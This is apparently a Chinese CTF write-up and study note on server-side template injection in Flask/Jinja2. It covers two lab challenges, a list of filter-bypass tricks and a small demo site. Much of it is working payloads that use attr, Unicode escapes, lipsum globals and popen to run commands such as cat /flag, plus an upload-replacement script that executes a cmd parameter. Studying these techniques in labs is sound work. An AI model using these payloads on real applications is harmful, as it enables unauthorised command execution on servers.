2025 Win SSTI
使用Python Flask搭建一个简单的Web站点并发布到公网上访问
一、刷题
(一)[安洵杯 2020]Normal SSTI
进到靶场只有一下信息
随便试几个数

这一题关键在于用Unicode编码绕过点和下划线的过滤和用{{ “{%” }}%}绕过{{ “{{“ }}的过滤
这个只要知道了用编码绕过就很好解
学习了一些知识后知道了:
过滤了{{ }}可以使用{% print() %}
因为.和[]被过滤,所以使用flask的|attr来调用方法
1 | ''|attr("__class__")等于 |
如果要使用xxx.os(‘xxx’)类似的方法,可以使用
xxx|attr(“os”)(‘xxx’)
用脚本
1 | class_name = "__class__" |
得到
1 | \u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f |
所以先构造playload
1 | url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%} |
得到

再试试字典:__globals__
1 | \u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f |
得到

其中
使用flask里的lipsum方法,来引用popen,查目录,执行命令
1 | lipsum|attr("__globals__").get("os").popen("ls").read() |
即
1 | url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u006c\u0073\u0020\u002f%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%} |
其中
1 | __globals__:\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f |

所以把popen(“ls”)中的ls 改为cat /flag即可得到flag
1 | cat /flag:\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0020 |

(二)[NewStarCTF 2023 公开赛道]flask disk
这道题的一开始已经提示我们端口为5000
一进来是这个页面

打开list files发现有这个文件

打开upload files,这个则是一个正常的文件上传

打开admin manage,则发现要输入密码,大佬应该会爆破吧,我是小白,这题还是考SSTI的题,所以还是正常写吧

简单上传了一个文件后出现如下页面

之后又上传了几个文件后发现,可以构造同名脚本来代替原来的Python文件,其中要有cmd来执行cat /flag命令从而获取flag,脚本如下:
1 | from flask import Flask,request |
上传后页面全都找不到了,说明替换成功了,毕竟我们上传的文件没有这个功能的

直接cat /flag
1 | ?cmd=cat /flag |

二、WAF简单绕过方式总结
1、{%%}绕过过滤{{}}
可以用 {%%} 来代替 {{}},想要看到内容就用 print 输出一下,即1 | {%print("".__class__)%} |
2、getitem()绕过[]过滤
getitem() 是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值:当对列表使用时,传入整数返回列表对应索引的值。例如:当中括号被过滤时,就用下述方法来代替[]
1 | __getitem__( )代替[ ] |
3、request方法绕过:
request在flask中可以访问基于 HTTP 请求传递的所有信息1 | request.args.key #获取get传入的key的值 |
4、绕过下划线过滤:
可以使用Unicode编码①’’|attr(“__class__“)等效于’’.__class__
②如果要使用xxx.os(‘xxx’)类似的方法,可以使用xxx|attr(“os”)(‘xxx’)
③使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
得到Unicode编码的python脚本为:(以”cat /flag”为例子:)
1 | class_name = "cat /flag" |
则得到playload:
1 | url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%} |
5、绕过点过滤
设有代码1 | {{().__class__.base__.__subclasses__()[117].__init__.__globals__.os.popen("ls").read()}} |
- 中括号[]代替点
1 | {{()['class']['base']['subclasses']()[117]['init']['globals']['os']['popen']('ls')['read']()}} |
- attr()绕过(当中括号也被过滤时使用)
1 | {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}} |
6、绕过关键字过滤:
1、编码绕过即使用Unicode编码绕过
2、”+”拼接
{{().__class__}}等效于{{()[‘__cla’+’ss__‘]}}
1 | {{()['__cla'+'ss__']['__ba'+'se__'] [ '__subc'+'__lasses__']['__ get'+'item__'](177)['__in'+'it__']['__glo'+'bals__']['__geti'+'tem__']('os')['po'+'pen']('ls')['read']()}} |
3、Jinjia2中的拼接
{{()[‘__class__‘]}}等价于{%set a=’__cla’%}{%set b=’ss__‘%}{{()[a~b]
1 | {%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcl'%}{%set f='asses__'%}{%set g='__in'%}{%set h='it__'%}{%set l='__gl'%}{%set i='obals__'%}{%set i='po'%}{%set k='pen'%}{{""[a~b][c~d][e~f]()[19][g~h][l~i]['os'][j~k]('ls')['read']()}} |
7、绕过符号过滤
1 | {% set a=({}|select()|string()) %}{{a}} #获取下划线 |
三、Flask开发小网站
先上效果
d”>主要代码如下:
1 | from flask import Flask, render_template, request, flash |
1 |
|
1 | body { |
暂时利用cpolar搭建一个公网来看吧:
https://21023c45.r18.cpolar.top






